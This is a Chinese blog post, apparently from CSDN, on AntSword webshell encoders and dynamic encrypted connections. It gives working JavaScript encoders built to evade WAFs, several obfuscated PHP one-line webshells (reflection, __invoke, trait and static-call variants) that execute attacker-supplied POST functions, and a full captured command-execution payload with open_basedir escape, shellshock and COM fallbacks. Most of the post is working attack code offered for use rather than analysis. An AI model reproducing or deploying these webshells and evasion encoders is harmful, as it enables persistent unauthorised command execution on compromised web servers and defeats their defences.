• 蚁剑webshell动态加密连接分析与实践


    一、蚁剑编码器

    蚁剑采用了Electron打包作为外壳,ES6 ,dhtmlx,Nodejs 作为前端代码编写语言,搭配Babel&&Webpack进行组件化构建编译,外加iconv- lite编码解码模块以及superagent数据发送处理模块还有nedb数据存储模块,从2.0版本开始,引入了加载器这一概念。

    用户/开发者只需要下载对应平台的加载器,无需安装额外的环境,即可对源代码进行编辑/执行/调试等操作。可直接运行当前最新的开发版和发行版源代码。

    模块介绍 

    在蚁剑自带的编码器中,存在base64、chr、chr16、rot13四种编码器,此外,官方还提供了一些其他另类的编码器。

    php base64编码器

    1. /**
    2. * 利用php的base64_decode进行编码处理
    3. */
    4. ‘use strict’;
    5. module.exports = (pwd, data, ext = null) => {
    6. // 生成一个随机变量名
    7. let randomID;
    8. if (ext.opts.otherConf[‘use-random-variable’] === 1) {
    9. randomID = antSword.utils.RandomChoice(antSword[‘RANDOMWORDS’]);
    10. } else {
    11. randomID = `${antSword[‘utils’].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
    12. }
    13. data[randomID] = Buffer
    14. .from(data[‘_’])
    15. .toString(‘base64’);
    16. data[pwd] = `@eval(@base64_decode($_POST[‘${randomID}’]));`;
    17. delete data[‘_’];
    18. return data;
    19. }
    20. }

    php base64解码器

    1. use strict’;
    2. module.exports = {
    3. /**
    4. * @returns {string} asenc 将返回数据base64编码
    5. */
    6. asoutput: () => {
    7. return `function asenc($out){
    8. return @base64_encode($out);
    9. }
    10. `.replace(/\n\s+/g, ”);
    11. },
    12. /**
    13. * 解码 Buffer
    14. * @param {Buffer} buff 要被解码的 Buffer
    15. * @returns {Buffer} 解码后的 Buffer
    16. */
    17. decode_buff: (buff) => {
    18. return Buffer.from(buff.toString(), ‘base64’);
    19. }

    php chr编码器

    1. /**
    2. 利用php的chr函数进行编码处理
    3. */
    4. ‘use strict’
    5. module.exports = (pwd, data, ext = null) => {
    6. // 编码函数
    7. const encode = (php) => {
    8. let ret = [];
    9. let i = 0;
    10. while (i < php.length) {
    11. ret.push(php[i].charCodeAt());
    12. i++;
    13. }
    14. return `@eVAl(cHr(${ret.join(‘).ChR(‘)}));`;
    15. }
    16. // 编码并去除多余数据
    17. data[pwd] = encode(data._);
    18. delete data._;
    19. // 返回数据
    20. return data;
    21. }

    php chr16编码器

    1. /**
    2. * 利用php的chr函数进行编码处理
    3. */
    4. ‘use strict’
    5. module.exports = (pwd, data, ext = null) => {
    6. // 编码函数
    7. const encode = (php) => {
    8. let ret = [];
    9. let i = 0;
    10. while (i < php.length) {
    11. ret.push(php[i].charCodeAt().toString(16));
    12. i++;
    13. }
    14. return `@eVAl(cHr(0x${ret.join(‘).ChR(0x’)}));`;
    15. }
    16. // 编码并去除多余数据
    17. data[pwd] = encode(data._);
    18. delete data._;
    19. // 返回数据
    20. return data;
    21. }

    php rot13编码器

    1. /**
    2. * 利用php的 rot13 进行编码处理
    3. */
    4. ‘use strict’;
    5. module.exports = (pwd, data, ext = null) => {
    6. const encode = (s) => {
    7. //use a Regular Expression to Replace only the characters that are a-z or A-Z
    8. return s.replace(/[a-zA-Z]/g, function (c) {
    9. // Get the character code of the current character and add 13 to it If it is
    10. // larger than z’s character code then subtract 26 to support wrap around.
    11. return String.fromCharCode((c <= “Z” ?
    12. 90 :
    13. 122) >= (c = c.charCodeAt(0) + 13) ?
    14. c :
    15. c – 26);
    16. });
    17. }
    18. // 生成一个随机变量名
    19. let randomID;
    20. if (ext.opts.otherConf[‘use-random-variable’] === 1) {
    21. randomID = antSword.utils.RandomChoice(antSword[‘RANDOMWORDS’]);
    22. } else {
    23. randomID = `${antSword[‘utils’].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
    24. }
    25. data[randomID] = encode(data[‘_’]);
    26. data[pwd] = `@eval(@str_rot13($_POST[‘${randomID}’]));`;
    27. delete data[‘_’];
    28. return data;
    29. }
    1. ‘use strict’;
    2. const rot13encode = (s) => {
    3. //use a Regular Expression to Replace only the characters that are a-z or A-Z
    4. return s.replace(/[a-zA-Z]/g, function (c) {
    5. // Get the character code of the current character and add 13 to it If it is
    6. // larger than z’s character code then subtract 26 to support wrap around.
    7. return String.fromCharCode((c <= “Z” ?
    8. 90 :
    9. 122) >= (c = c.charCodeAt(0) + 13) ?
    10. c :
    11. c – 26);
    12. });
    13. };
    14. module.exports = {
    15. asoutput: (tag_s, tag_e) => {
    16. return `function asenc($out){
    17. return str_rot13($out);
    18. }
    19. `.replace(/\n\s+/g, ”);
    20. },
    21. decode_buff: (buff) => {
    22. return Buffer.from(rot13encode(buff.toString()));
    23. }
    24. }

    二、蚁剑自定义编码器

    antSword的自定义编码器,打开蚁剑的系统设置就可以看到编码管理选项,这里选择新增一个编码器。

    点击新增编码器,命名之后点击编辑,可以通过代码和注释看出编码器的作用,这些代码主要就是javascript node.js基础语法。

    然后我们修改一下代码,随机字符串+传输数据base64 这样的结果是干扰一些waf进行模糊解码,这样是不可能被直接解密。 

    1. /**
    2. * php::base64编码器
    3. * Create at: 2022/03/28 10:32:13
    4. */
    5. ‘use strict’;
    6. /*
    7. * @param {String} pwd 连接密码
    8. * @param {Array} data 编码器处理前的 payload 数组
    9. * @return {Array} data 编码器处理后的 payload 数组
    10. */
    11. module.exports = (pwd, data, ext={}) => {
    12. // ########## 请在下方编写你自己的代码 ###################
    13. // 以下代码随机字符串+传输数据base64
    14. //生成13位随机字符串
    15. let randomID = `${Math.random().toString(16).substr(2)}`;
    16. console.log(“aaaaaaaaa”)
    17. console.log(“a:”+Math.random())
    18. console.log(“aaaaaaaaa”)
    19. //0.6777933515637071
    20. //Math.random()输出0到1(包括0,不包含1)的随机数。toString(16)将随机数转换为16进制的字符串。substr(2)截取字符串,因为随机数大于等于0小于1,前两位是“0.”,substring(2)从第三位开始截取到最后。
    21. console.log(“AAAAAAAAAAAAAAAAAAAAAAAA”)
    22. console.log(“randomID:”+randomID)
    23. console.log(“AAAAAAAAAAAAAAAAAAAAAAAA”)
    24. // 传输数据base64
    25. let encry= new Buffer(data[‘_’]).toString(‘base64’);
    26. console.log(“BBBBBBBBBBBBBBBBBBBBBBBBBBB”)
    27. console.log(“encry:”+encry)
    28. console.log(“BBBBBBBBBBBBBBBBBBBBBBBBBBB”)
    29. //随机字符串+传输数据base64
    30. data[pwd] = `${randomID}`+encry;
    31. console.log(“CCCCCCCCCCCCCCCCCCCCCCCC”)
    32. console.log(” data[pwd]:”+ data[pwd])
    33. console.log(“CCCCCCCCCCCCCCCCCCCCCCCC”)
    34. // 删除 _ 原有的payload
    35. delete data[‘_’];
    36. // 返回编码器处理后的 payload 数组
    37. return data;
    38. // 生成一个随机变量名
    39. //let randomID = `_0x${Math.random().toString(16).substr(2)}`;
    40. // 原有的 payload 在 data[‘_’]中
    41. // 取出来之后,转为 base64 编码并放入 randomID key 下
    42. //data[randomID] = Buffer.from(data[‘_’]).toString(‘base64’);
    43. // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
    44. //data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
    45. // ########## 请在上方编写你自己的代码 ###################
    46. // 删除 _ 原有的payload
    47. //delete data[‘_’];
    48. // 返回编码器处理后的 payload 数组
    49. // return data;
    50. }

    备注:

    Math.random()输出0到1(包括0,不包含1)的随机数。

    toString(16)将随机数转换为16进制的字符串。

    substr(2)截取字符串,因为随机数大于等于0小于1,前两位是“0.”,substring(2)从第三位开始截取到最后。

    弄好蚁剑端的加密,还需要设置文件木马的格式,配合蚁剑,此时上传的木马应该是这种格式,先写一个demo:

    1. $a = base64_decode(substr($_POST[‘cmd’],13));
    2. @eval($a);
    3. ?>

    然后我们设置下AntantSword的代理设置为http,burp监听端口查看下结果。

    配置好shell,然后连接shell,再查看burp的流量,设置使用form表单的方式发包,也可以使用multipart方式发包。

    我们看一下流量上的效果图:

    通过在js中打印在页面中输出和burp上看到http的流量数据。

    三、蚁剑webshell动态加密连接

    如果我们直接传参进行命令执行的话会很容易被WAF拦截。蚁剑有编码器这一功能可以方便我们绕过WAF的检测。在一次使用webshell过程中发现其并不能连接蚁剑,决定抓包简单分析一下流量修改我们的webshell。

    ReflectionClass::newInstance

    1. class Test1
    2. {
    3. public function __construct($para, $_value)
    4. {
    5. $para($_value);
    6. }
    7. }
    8. $class1 = new ReflectionClass("Test1");
    9. foreach (array('_POST') as $_r1) {
    10. foreach ($$_r1 as $_asadasd=>$_wfwefb) {
    11. $$_asadasd =$_wfwefb;
    12. }
    13. }
    14. $class2 = $class1->newInstance($_asadasd, $$_asadasd);

    们首先初始化一个反射类,传入要实例化类的类名,接下来用newInstance()方法对该类进行实例化。

    我们的webshell需要接收两个参数,一个是函数,另一个是函数的参数,污点传递理论:

    1. 接下来就是在构造函数内部执行命令,执行命令的方式是使用可变函数。当函数名被传入$para=assert时,构造函数内变为assert($_value)。函数的参数即我们要执行的命令。

    2. 最后解决参数的传递。常见的$_GET[]、$_POST[]、$_COOKIE[]...数组无法直接使用。我们依然利用PHP的动态特性,使webshell不出现$_GET[]、$_POST[]、$_COOKIE[]...。当程序执行到第二个foreach循环之前。我们的输入并没有参数来接收,直到我们使用可变变量变出了$_POST[],并将其键值进一步操作后传入newInstance函数。

    上面这个webshell依然可以进行变形:

    1. class Test1
    2. {
    3. private $para1 = '';
    4. private $para2 = '';
    5. public function __invoke($para1, $para2)
    6. {
    7. $para1($para2);
    8. }
    9. public function __construct($para1, $para2)
    10. {
    11. $this($para1, $para2);
    12. }
    13. }
    14. $class1 = new ReflectionClass("Test1");
    15. foreach (array('_POST') as $_r1) {
    16. foreach ($$_r1 as $_asadasd=>$_wfwefb) {
    17. $$_asadasd =$_wfwefb;
    18. }
    19. }
    20. $class2 = $class1->newInstance($_asadasd, $$_asadasd);

    __invoke:当尝试以调用函数的方式调用一个对象时,该方法会被自动调用。

    所以我们在构造函数内调用一次对象:$this($p1,$p2),接着会调用__invoke()函数实现命令执行。

    trait(PHP 7)

    php从以前到现在一直都是单继承的语言,无法同时从两个基类中继承属性和方法,为了解决这个问题,php出了Trait这个特性。

    用法:通过在类中使用use关键字,声明要组合的Trait名称,具体的Trait的声明使用Trait关键词,Trait不能实例化。

    1. trait Dog
    2. {
    3. public $name="dog";
    4. public function drive()
    5. {
    6. echo "This is dog drive";
    7. }
    8. public function eat($a, $b)
    9. {
    10. $a($b);
    11. }
    12. }
    13. class Animal
    14. {
    15. public function drive()
    16. {
    17. echo "This is animal drive";
    18. }
    19. public function eat()
    20. {
    21. echo "This is animal eat";
    22. }
    23. }
    24. class Cat extends Animal
    25. {
    26. use Dog;
    27. public function drive()
    28. {
    29. echo "This is cat drive";
    30. }
    31. }
    32. foreach (array('_POST') as $_request) {
    33. foreach ($$_request as $_key=>$_value) {
    34. $$_key= $_value;
    35. }
    36. }
    37. $cat = new Cat();
    38. $cat->eat($_key, $_value);
    • 我们的参数依旧将键值数组中的分别传入。函数调用则使用PHP 7中的trait特性,最终实现可变函数的执行

    静态调用非静态函数

    1. class SimpleThis
    2. {
    3. public function NonStatic($p1, $p2)
    4. {
    5. if (isset($this)) {
    6. echo '6';
    7. } else {
    8. $p1($p2);
    9. }
    10. }
    11. }
    12. foreach (array('_POST','_GET') as $_request) {
    13. foreach ($$_request as $_key=>$_value) {
    14. $$_key= $_value;
    15. }
    16. }
    17. SimpleThis::NonStatic($_key, $_value);

    在C、Java中,非静态函数肯定是不能被静态调用的。首先会编译失败。但是PHP是个解释函数。至于原理:这里直接附上鸟哥的文章

    连接蚁剑

    将蚁剑挂上burpsuite。上传我们的一句话木马进行连接。

    • 请求的流量

    assert=@eval(@str_rot13($_POST[ca3a283bf3d534]));&ca3a283bf3d534=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);shapgvba nfrap($bhg){erghea $bhg;};shapgvba nfbhgchg(){$bhgchg=bo_trg_pbagragf();bo_raq_pyrna();rpub "ron28298";rpub @nfrap($bhgchg);rpub "9741440r5";}bo_fgneg();gel{$Q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);vs($Q=="")$Q=qveanzr($_FREIRE["CNGU_GENAFYNGRQ"]);$E="{$Q}    ";vs(fhofge($Q,0,1)!="/"){sbernpu(enatr("P","M")nf $Y)vs(vf_qve("{$Y}:"))$E.="{$Y}:";}ryfr{$E.="/";}$E.="   ";$h=(shapgvba_rkvfgf("cbfvk_trgrtvq"))?@cbfvk_trgcjhvq(@cbfvk_trgrhvq()):"";$f=($h)?$h["anzr"]:@trg_pheerag_hfre();$E.=cuc_hanzr();$E.="   {$f}";rpub $E;;}pngpu(Rkprcgvba $r){rpub "REEBE://".$r->trgZrffntr();};nfbhgchg();qvr();
    
    • 可以得到webshell执行的内容为:assert(@eval(@str_rot13($_POST[ca3a283bf3d534]));),接着&ca3a283bf3d534=xxxx为我们的第二个POST参数
      所以实际上webshell执行的是第二个随机参数的值。
    • 回显

    Call to undefined function ca3a283bf3d534()这里报错未定义的函数,很显然我们的可变函数的函数名被覆盖了。并没有执行assert(),达到预期的结果。

    实际上我们需要的是第一个POST参数即我们传入的assert。所以我们的webshell在循环数组时,造成了变量覆盖,后来的参数覆盖了前一个值。在webshell中我们需要取第一个值再传递它即可。

    修改

    以第一个webshell为例:

    1. $s0;
    2. $s1;
    3. class Test1
    4. {
    5. public function __construct($para, $_value)
    6. {
    7. $para($_value);
    8. }
    9. }
    10. $class1 = new ReflectionClass("Test1");
    11. print_r($class1);
    12. foreach (array('_POST') as $_request) {
    13. foreach ($$_request as $_key=>$_value) {
    14. for ($i=0;$i<1;$i++) {
    15. ${"s".$i} = $_key;
    16. }
    17. break;
    18. }
    19. }
    20. $class2 = $class1->newInstance($s0, $_value);

    我们依然使用可变变量的方式获取参数的值。我们循环一次将函数名取出,再传递即可。

    最后

    success!

    四、蚁剑加密流量分析

    已经解决了初步认证的问题。

    经分析,通过连通密钥首即可通过蚁剑的认证,达到连接成功的目的,但是连接成功后会出现这种情况。

    所以我进行初步猜测,虚拟终端初始化没有问题,执行命令出现问题,所以我最开始的分析就先从执行命令功能开始进行。

    流量分析

    首先我们抓一个虚拟终端的执行命令请求包进行初步的分析,之后我们将数据流进行URL解码。

    PS:为了大家方便查看,我将请求格式化后贴在了下面。

    1. f72002fb14c8e8 = SEY2QgL2QgIkM6L3BocHN0dWR5X3Byby9XV1cveWpmeiImd2hvYW1pJmVjaG8gOGIyMjZlNDQmY2QmZWNobyA5ZGI3Zjg4Yzg3 & lefdf77c8e3d95 = yBY21k & pota123 = @ini_set("display_errors", "0");@
    2. set_time_limit(0);
    3. $opdir = @ini_get("open_basedir");
    4. if ($opdir) {
    5. $oparr = preg_split("/\\\\|\//", $opdir);
    6. $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    7. $tmdir = ".5062e111e";@
    8. mkdir($tmdir);@
    9. chdir($tmdir);@
    10. ini_set("open_basedir", "..");
    11. for ($i = 0; $i < sizeof($oparr); $i++) {@
    12. chdir("..");
    13. }@
    14. ini_set("open_basedir", "/");@
    15. rmdir($ocwd.
    16. "/".$tmdir);
    17. };
    18. function asenc($out) {
    19. return $out;
    20. };
    21. function asoutput() {
    22. $output = ob_get_contents();
    23. ob_end_clean();
    24. echo "6d29".
    25. "1125";
    26. echo@ asenc($output);
    27. echo "699".
    28. "aa2b";
    29. }
    30. ob_start();
    31. try {
    32. $p = base64_decode(substr($_POST["lefdf77c8e3d95"], 2));
    33. $s = base64_decode(substr($_POST["f72002fb14c8e8"], 2));
    34. $envstr = @base64_decode(substr($_POST["w641c9ee55f10c"], 2));
    35. $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    36. $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    37. if (substr($d, 0, 1) == "/") {@
    38. putenv("PATH=".getenv("PATH").
    39. ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    40. } else {@
    41. putenv("PATH=".getenv("PATH").
    42. ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    43. } if (!empty($envstr)) {
    44. $envarr = explode("|||asline|||", $envstr);
    45. foreach($envarr as $v) {
    46. if (!empty($v)) {@
    47. putenv(str_replace("|||askey|||", "=", $v));
    48. }
    49. }
    50. }
    51. $r = "{$p} {$c}";
    52. function fe($f) {
    53. $d = explode(",", @ini_get("disable_functions"));
    54. if (empty($d)) {
    55. $d = array();
    56. } else {
    57. $d = array_map('trim', array_map('strtolower', $d));
    58. }
    59. return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    60. };
    61. function runshellshock($d, $c) {
    62. if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
    63. if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
    64. $tmp = tempnam(sys_get_temp_dir(), 'as');
    65. putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
    66. if (fe('error_log')) {
    67. error_log("a", 1);
    68. } else {
    69. mail("a@127.0.0.1", "", "", "-bv");
    70. }
    71. } else {
    72. return False;
    73. }
    74. $output = @file_get_contents($tmp);@
    75. unlink($tmp);
    76. if ($output != "") {
    77. print($output);
    78. return True;
    79. }
    80. }
    81. return False;
    82. };
    83. function runcmd($c) {
    84. $ret = 0;
    85. $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    86. if (fe('system')) {@
    87. system($c, $ret);
    88. }
    89. elseif(fe('passthru')) {@
    90. passthru($c, $ret);
    91. }
    92. elseif(fe('shell_exec')) {
    93. print(@shell_exec($c));
    94. }
    95. elseif(fe('exec')) {@
    96. exec($c, $o, $ret);
    97. print(join("
    98. ", $o));
    99. }
    100. elseif(fe('popen')) {
    101. $fp = @popen($c, 'r');
    102. while (!@feof($fp)) {
    103. print(@fgets($fp, 2048));
    104. }@
    105. pclose($fp);
    106. }
    107. elseif(fe('proc_open')) {
    108. $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
    109. while (!@feof($io[1])) {
    110. print(@fgets($io[1], 2048));
    111. }
    112. while (!@feof($io[2])) {
    113. print(@fgets($io[2], 2048));
    114. }@
    115. fclose($io[1]);@
    116. fclose($io[2]);@
    117. proc_close($p);
    118. }
    119. elseif(fe('antsystem')) {@
    120. antsystem($c);
    121. }
    122. elseif(runshellshock($d, $c)) {
    123. return $ret;
    124. }
    125. elseif(substr($d, 0, 1) != "/" && @class_exists("COM")) {
    126. $w = new COM('WScript.shell');
    127. $e = $w - > exec($c);
    128. $so = $e - > StdOut();
    129. $ret. = $so - > ReadAll();
    130. $se = $e - > StdErr();
    131. $ret. = $se - > ReadAll();
    132. print($ret);
    133. } else {
    134. $ret = 127;
    135. }
    136. return $ret;
    137. };
    138. $ret = @runcmd($r.
    139. " 2>&1");
    140. print($ret != 0) ? "ret={$ret}" : "";;
    141. } catch (Exception $e) {
    142. echo "ERROR://".$e - > getMessage();
    143. };
    144. asoutput();
    145. die(); & w641c9ee55f10c = Ut

    通过数据包的请求和响应我们取出最关键的两处。

    过初步分析我们得知一个信息,请求内容的核心代码位置存在关键的变量引用,这点开始引起了我的重视。(最后分析过全部功能后,把这块弄明白可以解决全部功能的问题)

    PS:执行命令流量包的特征我就不写了,可以自行去分析流量包寻找特征。

    代码分析

    通过流量分析我们得到了一处变量串,并且得知解码方式,我们写个函数先给内容解密一下看看。

    f72002fb14c8e8=SEY2QgL2QgIkM6L3BocHN0dWR5X3Byby9XV1cveWpmeiImd2hvYW1pJmVjaG8gOGIyMjZlNDQmY2QmZWNobyA5ZGI3Zjg4Yzg3&lefdf77c8e3d95=yBY21k&pota123=@ini_set("display_errors", "0")

    我们解密后得知变量的内容为到这里,我们已经获取了执行命令的唯一特征。(PS:这里我们可以直接通过对base64编码的方式来确定命令内容,具体细节就不多说了懂的都懂。) 

    cd /d "C:/phpstudy_pro/WWW/yjfz"&whoami&echo 8b226e44&cd&echo 9db7f88c87

    我们现在已经可以确定命令特征了,通过流量分析得到的特征,稍作修改我们就可以实现虚拟终端的全部功能了。但是我们还有一个关键问题没有解决,”返回连接那里执行命令返回一次内容后,路径发生变化导致后续命令执行失败“。

    整合分析

    这块其实卡了很久,一直想为什么,按理来说,认证通过了命令也能成功解析应该是不会出现这个问题才对的,难道说请求包里有内容在控制路径?或者说这块的信息是当前路径?带着这种思路我打开了蚁剑的源码开始分析。

    终于我找到了命令执行这块的核心代码,如下图。

    我们可以看到这个就是我们代码分析处得到命令执行内容。我们关联一下两者之间的关系。

    1. `cd "${path}";${cmd};echo [S];(pwd).path;echo [E]` :
    2. `cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]` :
    3. `cd "${path}";${cmd};echo [S];pwd;echo [E]`);
    cd /d "C:/phpstudy_pro/WWW/yjfz"&whoami&echo 8b226e44&cd&echo 9db7f88c87

    我们很容易就可以看出来 8b226e44 9db7f88c87就是对应的[S] [E],可是[S][E]是什么东西呢,难道是认证么,我们回过头来去分析流量包。

    OK,问题解决了,也就是说我们接受到数据后,只返回了第一步认证(这里我叫做连通性密钥),而我们没有通过第二步认证([S]当前路径[E]),所以我们的蚁剑就只获取到了win-raf7i2l9ph1\potato这一个有效数据,自然而然在当前路径处渲染了win-raf7i2l9ph1\potato的内容了。所以我们命令执行只需要构造这样一个请求包。

    实现效果

    最后只需要编写对应的脚本,这里我提醒一下大家,执行命令的数据包有两种特征。

  • 相关阅读:
    考研失败, 学点Java打小工——Day3
    Vue3使用vue-print-nb插件打印功能
    C++ upper_bound()和lower_bound()(二分查找中使用)的定义,使用方法和区别
    pytest自动化测试框架之标记用例(指定执行、跳过用例、预期失败)
    1.1小程序内置tabbar和自定义tabbar区别
    数组——螺旋矩阵II
    Servlet---ServletConfig类使用介绍
    OpenMesh 最优选点策略
    【重识云原生】第六章容器6.1.3节——Docker常用命令
    现货黄金与黄金一样吗?
  • 原文地址:https://blog.csdn.net/qq_35029061/article/details/126133177